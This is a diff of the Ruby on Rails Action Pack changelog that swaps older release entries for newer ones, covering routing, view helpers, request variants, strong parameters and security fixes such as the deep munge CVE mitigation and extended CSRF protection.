-*   Fixed `ActionView::Helpers::CaptureHelper#content_for` regression when trying to use it in
-    a boolean statement.
-    Fixes #9360.
+*   Fix `rake routes` error when `Rails::Engine` with empty routes is mounted.
 
-    *Nikolay Shebanov*
+    Fixes #13810.
 
-*   `format: true` does not override existing format constraints.
-    Fixes #9466.
+    *Maurizio De Santis*
 
-    Example:
+*   Log which keys were affected by deep munge.
 
-        # This will force the .json extension.
-        get '/json_only', to: ok, format: true, constraints: { format: /json/ }
+    Deep munge solves the CVE-2013-0155 security vulnerability, but its
+    behaviour is confusing. With this commit, the information about which
+    key values were set to nil is now visible in logs.
 
-    *Yves Senn*
+    *Łukasz Sarnacki*
 
-*   Skip valid encoding checks for non-String parameters that come
-    from the matched route's defaults.
-    Fixes #9435.
+*   Automatically convert dashes to underscores for shorthand routes, e.g:
 
-    Example:
+        get '/our-work/latest'
 
-        root to: 'main#posts', page: 1
+    When running `rake routes` you will get the following output:
 
-    *Yves Senn*
+                 Prefix Verb URI Pattern                Controller#Action
+        our_work_latest GET  /our-work/latest(.:format) our_work#latest
 
-*   Don't verify Regexp requirements for non-Regexp `:constraints`.
-    Fixes #9432.
+    *Mikko Johansson*
 
-    Example:
+*   Automatically convert dashes to underscores for url helpers, e.g:
 
-        get '/photos.:format' => 'feeds#photos', constraints: {format: 'xml'}
+        get '/contact-us' => 'pages#contact'
+        get '/about-us'   => 'pages#about_us'
 
-    *Yves Senn*
+    When running `rake routes` you will get the following output:
 
-*   Make `ActionDispatch::Journey::Path::Pattern#new` raise more meaningful exception message.
+            Prefix Verb URI Pattern           Controller#Action
+        contact_us GET  /contact-us(.:format) pages#contact
+          about_us GET  /about-us(.:format)   pages#about_us
 
-    *Thierry Zires*
+    *Amr Tamimi*
 
-*   Fix `respond_to` not using formats that have no block if all is present. *Michael Grosser*
+*   Fix stream closing when sending file with `ActionController::Live` included.
 
-*   New applications use an encrypted session store by default.
+    Fixes #12381.
 
-    *Santiago Pastorino*
+    *Alessandro Diaferia*
 
-*   Determine the controller#action from only the matched path when using the
-    shorthand syntax. Previously the complete path was used, which led
-    to problems with nesting (scopes and namespaces).
-    Fixes #7554.
+*   Allow an absolute controller path inside a module scope. Fixes #12777.
 
     Example:
 
-        # This will route to questions#new.
-        scope ':locale' do
-          get 'questions/new'
+        namespace :foo do
+          # will route to BarController without the namespace.
+          get '/special', to: '/bar#index'
         end
 
-    *Yves Senn*
-
-*   Remove support for parsing XML parameters from request. If you still want to parse XML
-    parameters, please install `actionpack-xml_parser' gem.
-
-    *Prem Sichanugrist*
-
-*   Remove support for parsing YAML parameters from request.
-
-    *Aaron Patterson*
-
-*   Add a message when you have no routes defined to both `rake routes` and
-    GET "/rails/info/routes" that lets you know you have none defined and links
-    to the Rails guide on the topic.
-
-    *Steve Klabnik*
-
-*   Change `image_alt` method to replace underscores/hyphens to spaces in filenames.
-
-    Previously, underscored filenames became `alt="A_long_file_name_with_underscores"`
-    in HTML, which is poor for accessibility. For instance, Apple's VoiceOver Utility
-    pronounces each underscore. `A_long_file_name` thus would be read as `A underscore
-    long underscore file underscore name.` Now underscored or hyphenated filenames
-    (both of which are very popular naming conventions) read more naturally in
-    screen readers by converting both hyphens and underscores to spaces.
-
-    Before:
-
-        image_tag('underscored_file_name.png')
-        # => <img alt="Underscored_file_name" src="/assets/underscored_file_name.png" />
-
-    After:
-
-        image_tag('underscored_file_name.png')
-        # => <img alt="Underscored file name" src="/assets/underscored_file_name.png" />
-
-    *Nick Cox*
-
-*   We don't support Ruby constant notation in the `:controller` option for route
-    definitions. So, this raises an `ArgumentError` now:
-
-        resources :posts, controller: "Admin::Posts" # WRONG
-
-    Use path notation instead:
-
-        resources :posts, controller: "admin/posts" # RIGHT
-
-    *Yves Senn*
-
-*   `assert_template` can be used to verify the locals of partials,
-    which live inside a directory.
-
-        # Prefixed partials inside directories worked and still work.
-        assert_template partial: 'directory/_partial', locals: {name: 'John'}
-
-        # This did not work but does now.
-        assert_template partial: 'directory/partial', locals: {name: 'John'}
-
-    Fixes #8516.
-
-    *Yves Senn*
-
-*   Fix `content_tag_for` with array HTML option.
-    It would embed array as string instead of joining it like `content_tag` does:
 
-        content_tag(:td, class: ["foo", "bar"]){}
-        # => <td class="foo bar"></td>
+*   Unique the segment keys array for non-optimized url helpers
 
-    Before:
+    In Rails 3.2 you only needed to pass an argument for a dynamic segment
+    once so unique the segment keys array to match the number of args. Since
+    the number of args is less than the required parts, the non-optimized code
+    path is selected. To benefit from optimized url generation, the arg needs
+    to be specified as many times as it appears in the path.
 
-        content_tag_for(:td, item, class: ["foo", "bar"])
-        # => <td class="item ["foo", "bar"]" id="item_1"></td>
-
-    After:
-
-        content_tag_for(:td, item, class: ["foo", "bar"])
-        # => <td class="item foo bar" id="item_1"></td>
-
-    *Semyon Perepelitsa*
-
-*   Remove `BestStandardsSupport` middleware, !DOCTYPE html already triggers
-    standards mode per http://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx
-    and ChromeFrame header has been moved to `config.action_dispatch.default_headers`
-
-    *Guillermo Iguaran*
-
-*   Fix CSRF protection and `current_url?` helper to work with HEAD requests
-    now that `ActionDispatch::Head` has been removed in favor of `Rack::Head`.
-
-    *Michiel Sikkes*
-
-*   Change `asset_path` to not include `SCRIPT_NAME` when it's used
-    from a mounted engine. Fixes #8119.
-
-    *Piotr Sarnacki*
-
-*   Add JavaScript based routing path matcher to `/rails/info/routes`.
-    Routes can now be filtered by whether or not they match a path.
-
-    *Richard Schneeman*
-
-*   Change the behavior of route defaults so that explicit defaults are no longer
-    required where the key is not part of the path. For example:
-
-        resources :posts, bucket_type: 'posts'
-
-    will be required whenever constructing the url from a hash such as a functional
-    test or using `url_for` directly. However using the explicit form alters the
-    behavior so it's not required:
-
-        resources :projects, defaults: { bucket_type: 'projects' }
-
-    This changes existing behavior slightly in that any routes which only differ
-    in their defaults will match the first route rather than the closest match.
+    Fixes #12808.
 
     *Andrew White*
 
-*   Add support for routing constraints other than Regexp and String.
-    For example this now allows the use of arrays like this:
-
-        get '/foo/:action', to: 'foo', constraints: { subdomain: %w[www admin] }
+*   Show full route constraints in error message.
 
-    or constraints where the request method returns an Fixnum like this:
-
-        get '/foo', to: 'foo#index', constraints: { port: 8080 }
-
-    Note that this only applies to constraints on the request - path constraints
-    still need to be specified as Regexps as the various constraints are compiled
-    into a single Regexp.
-
-    *Andrew White*
+    When an optimized helper fails to generate, show the full route constraints
+    in the error message. Previously it would only show the contraints that were
+    required as part of the path.
 
-*   Fix a bug in integration tests where setting the port via a url passed to
-    the process method was ignored when constructing the request environment.
+    Fixes #13592.
 
     *Andrew White*
 
-*   Allow `:selected` to be set on `date_select` tag helper.
-
-    *Colin Burn-Murdoch*
-
-*   Fixed JSON params parsing regression for non-object JSON content.
-
-    *Dylan Smith*
-
-*   Extract `ActionDispatch::PerformanceTest` into https://github.com/rails/rails-perftest
-    You can add the gem to your Gemfile to keep using performance tests.
-
-        gem 'rails-perftest'
-
-    *Yves Senn*
-
-*   Added view_cache_dependency API for declaring dependencies that affect
-    cache digest computation.
-
-    *Jamis Buck*
-
-*   `image_submit_tag` will set `alt` attribute from image source if not
-    specified.
-
-    *Nihad Abbasov*
-
-*   Do not generate local variables for partials without object or collection.
-    Previously rendering a partial without giving `:object` or `:collection`
-    would generate a local variable with the partial name by default.
-
-    *Carlos Antonio da Silva*
-
-*   Return the last valid, non-private IP address from the X-Forwarded-For,
-    Client-IP and Remote-Addr headers, in that order. Document the rationale
-    for that decision, and describe the options that can be passed to the
-    RemoteIp middleware to change it.
-    Fixes #7979.
-
-    *André Arko*, *Steve Klabnik*, *Alexey Gaziev*
-
-*   Do not append second slash to `root_url` when using `trailing_slash: true`
-    Fixes #8700.
-
-    Before:
-
-        root_url(trailing_slash: true) # => http://test.host//
-
-    After:
-
-        root_url(trailing_slash: true) # => http://test.host/
-
-    *Yves Senn*
-
-*   Allow to toggle dumps on error pages.
-
-    *Gosha Arinich*
-
-*   Fix a bug in `content_tag_for` that prevents it from working without a block.
-
-    *Jasl*
-
-*   Change the stylesheet of exception pages for development mode.
-    Additionally display also the line of code and fragment that raised
-    the exception in all exceptions pages.
-
-    *Guillermo Iguaran + Jorge Cuadrado*
-
-*   Do not append `charset=` parameter when `head` is called with a
-    `:content_type` option.
-    Fixes #8661.
-
-    *Yves Senn*
-
-*   Added `Mime::NullType` class. This  allows to use `html?`, `xml?`, `json?`, etc.
-    when the format of the request is unknown, without raising an exception.
-
-    *Angelo Capilleri*
-
-*   Integrate the Journey gem into Action Dispatch so that the global namespace
-    is not polluted with names that may be used as models.
+*   Use a custom route visitor for optimized url generation. Fixes #13349.
 
     *Andrew White*
 
-*   Extract support for email address obfuscation via `:encode`, `:replace_at`, and `replace_dot`
-    options from the `mail_to` helper into the `actionview-encoded_mail_to` gem.
-
-    *Nick Reed + DHH*
-
-*   Handle `:protocol` option in `stylesheet_link_tag` and `javascript_include_tag`
-
-    *Vasiliy Ermolovich*
-
-*   Clear url helper methods when routes are reloaded. *Andrew White*
-
-*   Fix a bug in `ActionDispatch::Request#raw_post` that caused `env['rack.input']`
-    to be read but not rewound.
-
-    *Matt Venables*
-
-*   Prevent raising `EOFError` on multipart GET request (IE issue). *Adam Stankiewicz*
-
-*   Rename all action callbacks from *_filter to *_action to avoid the misconception that these
-    callbacks are only suited for transforming or halting the response. With the new style,
-    it's more inviting to use them as they were intended, like setting shared ivars for views.
-
-    Example:
-
-        class PeopleController < ActionController::Base
-          before_action :set_person,      except: [:index, :new, :create]
-          before_action :ensure_permission, only: [:edit, :update]
-
-          ...
-
-          private
-            def set_person
-              @person = current_account.people.find(params[:id])
-            end
-
-            def ensure_permission
-              current_person.can_change?(@person)
-            end
-        end
-
-    The old *_filter methods still work with no deprecation notice.
-
-    *DHH*
-
-*   Add `cache_if` and `cache_unless` for conditional fragment caching:
+*   Allow engine root relative redirects using an empty string.
 
     Example:
 
-        <%= cache_if condition, project do %>
-          <b>All the topics on this project</b>
-          <%= render project.topics %>
-        <% end %>
-
-        # and
-
-        <%= cache_unless condition, project do %>
-          <b>All the topics on this project</b>
-          <%= render project.topics %>
-        <% end %>
-
-    *Stephen Ausman + Fabrizio Regini + Angelo Capilleri*
-
-*   Add logging filter capability for redirect URLs:
-
-        config.filter_redirect << 'http://please.hide.it/'
-
-    *Fabrizio Regini*
-
-*   Fixed a bug that ignores constraints on a glob route. This was caused because the constraint
-    regular expression is overwritten when the `routes.rb` file is processed. Fixes #7924
-
-    *Maura Fitzgerald*
-
-*   More descriptive error messages when calling `render :partial` with
-    an invalid `:layout` argument.
-
-    Fixes #8376.
-
-        render partial: 'partial', layout: true
-
-        # results in ActionView::MissingTemplate: Missing partial /true
-
-    *Yves Senn*
-
-*   Sweepers was extracted from Action Controller as `rails-observers` gem.
-
-    *Rafael Mendonça França*
-
-*   Add option flag to `CacheHelper#cache` to manually bypass automatic template digests:
-
-        <% cache project, skip_digest: true do %>
-          ...
-        <% end %>
-
-    *Drew Ulmer*
-
-*   Do not sort Hash options in `grouped_options_for_select`. *Sergey Kojin*
-
-*   Accept symbols as `send_data :disposition` value *Elia Schito*
-
-*   Add i18n scope to `distance_of_time_in_words`. *Steve Klabnik*
-
-*   `assert_template`:
-    - is no more passing with empty string.
-    - is now validating option keys. It accepts: `:layout`, `:partial`, `:locals` and `:count`.
-
-    *Roberto Soares*
-
-*   Allow setting a symbol as path in scope on routes. This is now allowed:
-
-        scope :api do
-          resources :users
-        end
-
-    It is also possible to pass multiple symbols to scope to shorten multiple nested scopes:
-
-        scope :api do
-          scope :v1 do
-            resources :users
-          end
-        end
-
-    can be rewritten as:
-
-        scope :api, :v1 do
-          resources :users
-        end
-
-    *Guillermo Iguaran + Amparo Luna*
-
-*   Fix error when using a non-hash query argument named "params" in `url_for`.
-
-    Before:
-
-        url_for(params: "") # => undefined method `reject!' for "":String
-
-    After:
-
-        url_for(params: "") # => http://www.example.com?params=
-
-    *tumayun + Carlos Antonio da Silva*
-
-*   Render every partial with a new `ActionView::PartialRenderer`. This resolves
-    issues when rendering nested partials.
-    Fixes #8197.
-
-    *Yves Senn*
-
-*   Introduce `ActionView::Template::Handlers::ERB.escape_whitelist`. This is a list
-    of mime types where template text is not html escaped by default. It prevents `Jack & Joe`
-    from rendering as `Jack & Joe` for the whitelisted mime types. The default whitelist
-    contains `text/plain`.
-    Fixes #7976.
-
-    *Joost Baaij*
-
-*   Fix input name when `multiple: true` and `:index` are set.
-
-    Before:
-
-        check_box("post", "comment_ids", { multiple: true, index: "foo" }, 1)
-        # => <input name=\"post[foo][comment_ids]\" type=\"hidden\" value=\"0\" /><input id=\"post_foo_comment_ids_1\" name=\"post[foo][comment_ids]\" type=\"checkbox\" value=\"1\" />
-
-    After:
-
-        check_box("post", "comment_ids", { multiple: true, index: "foo" }, 1)
-        # => <input name=\"post[foo][comment_ids][]\" type=\"hidden\" value=\"0\" /><input id=\"post_foo_comment_ids_1\" name=\"post[foo][comment_ids][]\" type=\"checkbox\" value=\"1\" />
-
-    Fixes #8108.
-
-    *Daniel Fox, Grant Hutchins & Trace Wax*
-
-*   `date_select` helper accepts `with_css_classes: true` to add css classes similar with type
-    of generated select tags.
-
-    *Pavel Nikitin*
-
-*   Only non-js/css under `app/assets` path will be included in default `config.assets.precompile`.
-
-    *Josh Peek*
-
-*   Remove support for the `RAILS_ASSET_ID` environment configuration
-    (no longer needed now that we have the asset pipeline).
-
-    *Josh Peek*
-
-*   Remove old `asset_path` configuration (no longer needed now that we have the asset pipeline).
-
-    *Josh Peek*
-
-*   `assert_template` can be used to assert on the same template with different locals
-    Fixes #3675.
+        # application routes.rb
+        mount BlogEngine => '/blog'
 
-    *Yves Senn*
+        # engine routes.rb
+        get '/welcome' => redirect('')
 
-*   Remove old asset tag concatenation (no longer needed now that we have the asset pipeline).
+    This now redirects to the path `/blog`, whereas before it would redirect
+    to the application root path. In the case of a path redirect or a custom
+    redirect, if the path returned contains a host then the path is treated as
+    absolute. Similarly for option redirects, if the options hash returned
+    contains a `:host` or `:domain` key then the path is treated as absolute.
 
-    *Josh Peek*
+    Fixes #7977.
 
-*   Accept `:remote` as symbolic option for `link_to` helper. *Riley Lynch*
+    *Andrew White*
 
-*   Warn when the `:locals` option is passed to `assert_template` outside of a view test case
-    Fixes #3415.
+*   Fix `Encoding::CompatibilityError` when public path is UTF-8
 
-    *Yves Senn*
+    In #5337 we forced the path encoding to ASCII-8BIT to prevent static file
+    handling from blowing up before an application has had a chance to deal
+    with possibly invalid urls. However this has a negative side effect of
+    making it an incompatible encoding if the application's public path has
+    UTF-8 characters in it.
 
-*   The `Rack::Cache` middleware is now disabled by default. To enable it,
-    set `config.action_dispatch.rack_cache = true` and add `gem rack-cache` to your Gemfile.
+    To work around the problem we check to see if the path has a valid encoding once
+    it has been unescaped. If it is not valid then we can return early since it will
+    not match any file anyway.
 
-    *Guillermo Iguaran*
+    Fixes #13518.
 
-*   `ActionController::Base.page_cache_extension` option is deprecated
-    in favour of `ActionController::Base.default_static_extension`.
+    *Andrew White*
 
-    *Francesco Rodriguez*
+*   `ActionController::Parameters#permit!` permits hashes in array values.
 
-*   Action and Page caching has been extracted from Action Dispatch
-    as `actionpack-action_caching` and `actionpack-page_caching` gems.
-    Please read the `README.md` file on both gems for the usage.
+    *Xavier Noria*
 
-    *Francesco Rodriguez*
+*   Converts hashes in arrays of unfiltered params to unpermitted params.
 
-*   Failsafe exception returns `text/plain`. *Steve Klabnik*
+    Fixes #13382.
 
-*   Rename internal variables on `ActionController::TemplateAssertions` to prevent
-    naming collisions. `@partials`, `@templates` and `@layouts` are now prefixed with an underscore.
-    Fixes #7459.
+    *Xavier Noria*
 
-    *Yves Senn*
+*   New config option to opt out of params "deep munging" that was used to
+    address the security vulnerability CVE-2013-0155. In your app config:
 
-*   `resource` and `resources` don't modify the passed options hash.
-    Fixes #7777.
+        config.action_dispatch.perform_deep_munge = false
 
-    *Yves Senn*
+    Take care to understand the security risk involved before disabling this.
+    [Read more.](https://groups.google.com/forum/#!topic/rubyonrails-security/t1WFuuQyavI)
 
-*   Precompiled assets include aliases from `foo.js` to `foo/index.js` and vice versa.
+    *Bernard Potocki*
 
-        # Precompiles phone-<digest>.css and aliases phone/index.css to phone.css.
-        config.assets.precompile = [ 'phone.css' ]
+*   `rake routes` shows routes defined under assets prefix.
 
-        # Precompiles phone/index-<digest>.css and aliases phone.css to phone/index.css.
-        config.assets.precompile = [ 'phone/index.css' ]
+    *Ryunosuke SATO*
 
-        # Both of these work with either precompile thanks to their aliases.
-        <%= stylesheet_link_tag 'phone', media: 'all' %>
-        <%= stylesheet_link_tag 'phone/index', media: 'all' %>
+*   Extend cross-site request forgery (CSRF) protection to GET requests with
+    JavaScript responses, protecting apps from cross-origin `<script>` tags.
 
     *Jeremy Kemper*
 
-*   `assert_template` is no more passing with what ever string that matches
-    with the template name.
-
-    Before when we have a template `/layout/hello.html.erb`, `assert_template`
-    was passing with any string that matches. This behavior allowed false
-    positive like:
-
-        assert_template "layout"
-        assert_template "out/hello"
-
-    Now it only passes with:
-
-        assert_template "layout/hello"
-        assert_template "hello"
-
-    Fixes #3849.
-
-    *Hugolnx*
-
-*   `image_tag` will set the same width and height for image if numerical value
-    passed to `size` option.
-
-    *Nihad Abbasov*
-
-*   Deprecate `Mime::Type#verify_request?` and `Mime::Type.browser_generated_types`,
-    since they are no longer used inside of Rails, they will be removed in Rails 4.1.
-
-    *Michael Grosser*
-
-*   `ActionDispatch::Http::UploadedFile` now delegates `close` to its tempfile. *Sergio Gil*
+*   Fix generating a path for an engine inside a resources block.
 
-*   Add `ActionController::StrongParameters`, this module converts `params` hash into
-    an instance of ActionController::Parameters that allows whitelisting of permitted
-    parameters. Non-permitted parameters are forbidden to be used in Active Model by default
-    For more details check the documentation of the module or the
-    [strong_parameters gem](https://github.com/rails/strong_parameters)
+    Fixes #8533.
 
-    *DHH + Guillermo Iguaran*
-
-*   Remove Integration between `attr_accessible`/`attr_protected` and
-    `ActionController::ParamsWrapper`. ParamWrapper now wraps all the parameters returned
-    by the class method `attribute_names`.
-
-    *Guillermo Iguaran*
-
-*   Log now displays the correct status code when an exception is raised.
-    Fixes #7646.
-
-    *Yves Senn*
-
-*   Allow pass couple extensions to `ActionView::Template.register_template_handler` call.
-
-    *Tima Maslyuchenko*
-
-*   Sprockets integration has been extracted from Action Pack to the `sprockets-rails`
-    gem. `rails` gem is depending on `sprockets-rails` by default.
-
-    *Guillermo Iguaran*
-
-*   `ActionDispatch::Session::MemCacheStore` now uses `dalli` instead of the deprecated
-    `memcache-client` gem.
-
-    *Arun Agrawal + Guillermo Iguaran*
+    *Piotr Sarnacki*
 
-*   Support multiple etags in If-None-Match header. *Travis Warlick*
+*   Add `Mime::Type.register "text/vcard", :vcf` to the default list of mime types.
 
-*   Allow to configure how unverified request will be handled using `:with`
-    option in `protect_from_forgery` method.
+    *DHH*
 
-    Valid unverified request handling methods are:
+*   Remove deprecated `ActionController::RecordIdentifier`, use
+    `ActionView::RecordIdentifier` instead.
 
-    - `:exception` - Raises ActionController::InvalidAuthenticityToken exception.
-    - `:reset_session` - Resets the session.
-    - `:null_session` - Provides an empty session during request but doesn't
-      reset it completely. Used as default if `:with` option is not specified.
+    *kennyj*
 
-    New applications are generated with:
+*   Fix regression when using `ActionView::Helpers::TranslationHelper#translate` with
+    `options[:raise]`.
 
-        protect_from_forgery with: :exception
+    This regression was introduced at ec16ba75a5493b9da972eea08bae630eba35b62f.
 
-    *Sergey Nartimov*
+    *Shota Fukumori (sora_h)*
 
-*   Add `.ruby` template handler, this handler simply allows arbitrary Ruby code as a template. *Guillermo Iguaran*
+*   Introducing Variants
 
-*   Add `separator` option for `ActionView::Helpers::TextHelper#excerpt`:
+    We often want to render different html/json/xml templates for phones,
+    tablets, and desktop browsers. Variants make it easy.
 
-        excerpt('This is a very beautiful morning', 'very', separator: ' ', radius: 1)
-        # => ...a very beautiful...
+    The request variant is a specialization of the request format, like `:tablet`,
+    `:phone`, or `:desktop`.
 
-    *Guirec Corbel*
+    You can set the variant in a `before_action`:
 
-*   Added controller-level etag additions that will be part of the action etag computation *Jeremy Kemper/DHH*
+        request.variant = :tablet if request.user_agent =~ /iPad/
 
-        class InvoicesController < ApplicationController
-          etag { current_user.try :id }
+    Respond to variants in the action just like you respond to formats:
 
-          def show
-            # Etag will differ even for the same invoice when it's viewed by a different current_user
-            @invoice = Invoice.find(params[:id])
-            fresh_when(@invoice)
+        respond_to do |format|
+          format.html do |html|
+            html.tablet # renders app/views/projects/show.html+tablet.erb
+            html.phone { extra_setup; render ... }
           end
         end
 
-*   Add automatic template digests to all `CacheHelper#cache` calls (originally spiked in the `cache_digests` plugin) *DHH*
-
-*   When building a URL fails, add missing keys provided by Journey. Failed URL
-    generation now returns a 500 status instead of a 404.
-
-    *Richard Schneeman*
-
-*   Deprecate availability of `ActionView::RecordIdentifier` in controllers by default.
-    It's view specific and can be easily included in controllers manually if someone
-    really needs it. Also deprecate calling `ActionController::RecordIdentifier.dom_id` and
-    `dom_class` directly, in favor of `ActionView::RecordIdentifier.dom_id` and `dom_class`.
-    `RecordIdentifier` will be removed from `ActionController::Base` in Rails 4.1.
-
-    *Piotr Sarnacki*
-
-*   Fix `ActionView::RecordIdentifier` to work as a singleton. *Piotr Sarnacki*
-
-*   Deprecate `Template#mime_type`, it will be removed in Rails 4.1 in favor of `#type`.
-    *Piotr Sarnacki*
-
-*   Move vendored html-scanner from `action_controller` to `action_view` directory. If you
-    require it directly, please use 'action_view/vendor/html-scanner', reference to
-    'action_controller/vendor/html-scanner' will be removed in Rails 4.1. *Piot Sarnacki*
-
-*   Fix handling of date selects when using both disabled and discard options.
-    Fixes #7431.
-
-    *Vasiliy Ermolovich*
-
-*   `ActiveRecord::SessionStore` is extracted out of Rails into a gem `activerecord-session_store`.
-    Setting `config.session_store` to `:active_record_store` will no longer work and will break
-    if the `activerecord-session_store` gem isn't available. *Prem Sichanugrist*
-
-*   Fix `select_tag` when `option_tags` is nil.
-    Fixes #7404.
-
-    *Sandeep Ravichandran*
-
-*   Add `Request#formats=(extensions)` that lets you set multiple formats directly in a prioritized order.
-
-    Example of using this for custom iphone views with an HTML fallback:
-
-        class ApplicationController < ActionController::Base
-          before_filter :adjust_format_for_iphone_with_html_fallback
-
-          private
-            def adjust_format_for_iphone_with_html_fallback
-              request.formats = [ :iphone, :html ] if request.env["HTTP_USER_AGENT"][/iPhone/]
-            end
-        end
-
-    *DHH*
-
-*   Add Routing Concerns to declare common routes that can be reused inside
-    others resources and routes.
+    Provide separate templates for each format and variant:
 
-    Code before:
+        app/views/projects/show.html.erb
+        app/views/projects/show.html+tablet.erb
+        app/views/projects/show.html+phone.erb
 
-        resources :messages do
-          resources :comments
-        end
+    You can also simplify the variants definition using the inline syntax:
 
-        resources :posts do
-          resources :comments
-          resources :images, only: :index
+        respond_to do |format|
+          format.js         { render "trash" }
+          format.html.phone { redirect_to progress_path }
+          format.html.none  { render "trash" }
         end
 
-    Code after:
+    Variants also support the common `any`/`all` block that formats have.
 
-        concern :commentable do
-          resources :comments
-        end
+    It works for both inline:
 
-        concern :image_attachable do
-          resources :images, only: :index
+        respond_to do |format|
+          format.html.any   { render text: "any"   }
+          format.html.phone { render text: "phone" }
         end
 
-        resources :messages, concerns: :commentable
-
-        resources :posts, concerns: [:commentable, :image_attachable]
-
-    *DHH + Rafael Mendonça França*
-
-*   Add `start_hour` and `end_hour` options to the `select_hour` helper. *Evan Tann*
+    and block syntax:
 
-*   Raises an `ArgumentError` when the first argument in `form_for` contain `nil`
-    or is empty.
-
-    *Richard Schneeman*
-
-*   Add 'X-Frame-Options' => 'SAMEORIGIN'
-    'X-XSS-Protection' => '1; mode=block' and
-    'X-Content-Type-Options' => 'nosniff'
-    as default headers.
-
-    *Egor Homakov*
-
-*   Allow data attributes to be set as a first-level option for `form_for`, so you can write `form_for @record, data: { behavior: 'autosave' }` instead of `form_for @record, html: { data: { behavior: 'autosave' } }` *DHH*
-
-*   Deprecate `button_to_function` and `link_to_function` helpers.
-
-    We recommend the use of Unobtrusive JavaScript instead. For example:
-
-        link_to "Greeting", "#", class: "nav_link"
-
-        $(function() {
-          $('.nav_link').click(function() {
-            // Some complex code
-
-            return false;
-          });
-        });
-
-    or
-
-        link_to "Greeting", '#', onclick: "alert('Hello world!'); return false", class: "nav_link"
-
-    for simple cases.
-
-    *Rafael Mendonça França*
-
-*   `javascript_include_tag :all` will now not include `application.js` if the file does not exists. *Prem Sichanugrist*
-
-*   Send an empty response body when call `head` with status between 100 and 199, 204, 205 or 304.
-
-    *Armand du Plessis*
-
-*   Fixed issue with where digest authentication would not work behind a proxy. *Arthur Smith*
-
-*   Added `ActionController::Live`.  Mix it in to your controller and you can
-    stream data to the client live.  For example:
-
-        class FooController < ActionController::Base
-          include ActionController::Live
-
-          def index
-            100.times {
-              # Client will see this as it's written
-              response.stream.write "hello world\n"
-              sleep 1
-            }
-            response.stream.close
+        respond_to do |format|
+          format.html do |variant|
+            variant.any(:tablet, :phablet){ render text: "any" }
+            variant.phone { render text: "phone" }
           end
         end
 
-    *Aaron Patterson*
+    *Łukasz Strzałkowski*
 
-*   Remove `ActionDispatch::Head` middleware in favor of `Rack::Head`. *Santiago Pastorino*
+*   Fix rendering localized templates without an explicit format using wrong
+    content header and not passing correct formats to template due to the
+    introduction of the `NullType` for mimes.
 
-*   Deprecate `:confirm` in favor of `data: { confirm: "Text" }` option for `button_to`, `button_tag`, `image_submit_tag`, `link_to` and `submit_tag` helpers.
+    Templates like `hello.it.erb` were subject to this issue.
 
-    *Carlos Galdino + Rafael Mendonça França*
+    Fixes #13064.
 
-*   Show routes in exception page while debugging a `RoutingError` in development.
+    *Angelo Capilleri*, *Carlos Antonio da Silva*
 
-    *Richard Schneeman + Mattt Thompson + Yves Senn*
+*   Try to escape each part of a url correctly when using a redirect route.
 
-*   Add `ActionController::Flash.add_flash_types` method to allow people to register their own flash types. e.g.:
-
-        class ApplicationController
-          add_flash_types :error, :warning
-        end
+    Fixes #13110.
 
-    If you add the above code, you can use `<%= error %>` in an erb, and `redirect_to /foo, error: 'message'` in a controller.
+    *Andrew White*
 
-    *kennyj*
+*   Better error message for typos in assert_response arguments.
 
-*   Remove Active Model dependency from Action Pack. *Guillermo Iguaran*
+    When the response type argument to `assert_response` is not a known
+    response type, `assert_response` now throws an ArgumentError with a clear
+    message. This is intended to help debug typos in the response type.
 
-*   Support unicode characters in routes. Route will be automatically escaped, so instead of manually escaping:
+    *Victor Costan*
 
-        get Rack::Utils.escape('こんにちは') => 'home#index'
+*   Fix formatting for `rake routes` when a section is shorter than a header.
 
-    You just have to write the unicode route:
+    *Sıtkı Bağdat*
 
-        get 'こんにちは' => 'home#index'
+*   Accept an options hash inside the array in `#url_for`.
 
-    *kennyj*
+    Example:
 
-*   Return proper format on exceptions. *Santiago Pastorino*
+        url_for [:new, :admin, :post, { param: 'value' }]
+        # => http://example.com/admin/posts/new?param=value
 
-*   Allow to use `mounted_helpers` (helpers for accessing mounted engines) in `ActionView::TestCase`. *Piotr Sarnacki*
+    *Andrey Ognevsky*
 
-*   Include `mounted_helpers` (helpers for accessing mounted engines) in `ActionDispatch::IntegrationTest` by default. *Piotr Sarnacki*
+*   Add `session#fetch` method
 
-*   Extracted redirect logic from `ActionController::ForceSSL::ClassMethods.force_ssl`  into `ActionController::ForceSSL#force_ssl_redirect`
+    fetch behaves like [Hash#fetch](http://www.ruby-doc.org/core-1.9.3/Hash.html#method-i-fetch).
+    It returns a value from the hash for the given key.
+    If the key can’t be found, there are several options:
 
-    *Jeremy Friesen*
+      * With no other arguments, it will raise a KeyError exception.
+      * If a default value is given, then it will be returned.
+      * If the optional code block is specified, then it will be run and its result returned.
 
-*   Make possible to use a block in `button_to` if the button text is hard
-    to fit into the name parameter, e.g.:
+    *Damien Mathieu*
 
-        <%= button_to [:make_happy, @user] do %>
-          Make happy <strong><%= @user.name %></strong>
-        <% end %>
-        # => "<form method="post" action="/users/1/make_happy" class="button_to">
-        #      <div>
-        #        <button type="submit">
-        #          Make happy <strong>Name</strong>
-        #        </button>
-        #      </div>
-        #    </form>"
+*   Don't let strong parameters mutate the given hash via `fetch`
 
-    *Sergey Nartimov*
+    Create a new instance if the given parameter is a `Hash` instead of
+    passing it to the `convert_hashes_to_parameters` method since it is
+    overriding its default value.
 
-*   Change a way of ordering helpers from several directories. Previously,
-    when loading helpers from multiple paths, all of the helpers files were
-    gathered into one array an then they were sorted. Helpers from different
-    directories should not be mixed before loading them to make loading more
-    predictable. The most common use case for such behavior is loading helpers
-    from engines. When you load helpers from application and engine Foo, in
-    that order, first rails will load all of the helpers from application,
-    sorted alphabetically and then it will do the same for Foo engine.
+    *Brendon Murphy*, *Doug Cole*
 
-    *Piotr Sarnacki*
+*   Add a `params` option to the `button_to` form helper which renders
+    the given hash as hidden form fields.
 
-*   `truncate` now always returns an escaped HTML-safe string. The option `:escape` can be used as
-    false to not escape the result.
+    *Andy Waite*
 
-    *Li Ellis Gallardo + Rafael Mendonça França*
+*   Enable assets helpers to work in the controllers like they do in the views.
 
-*   `truncate` now accepts a block to show extra content when the text is truncated. *Li Ellis Gallardo*
+    Example:
 
-*   Add `week_field`, `week_field_tag`, `month_field`, `month_field_tag`, `datetime_local_field`,
-    `datetime_local_field_tag`, `datetime_field` and `datetime_field_tag` helpers. *Carlos Galdino*
+        # config/application.rb
+        config.asset_host = 'http://mycdn.com'
 
-*   Add `color_field` and `color_field_tag` helpers. *Carlos Galdino*
+        ActionController::Base.helpers.asset_path('fallback.png')
+        # => http://mycdn.com/assets/fallback.png
 
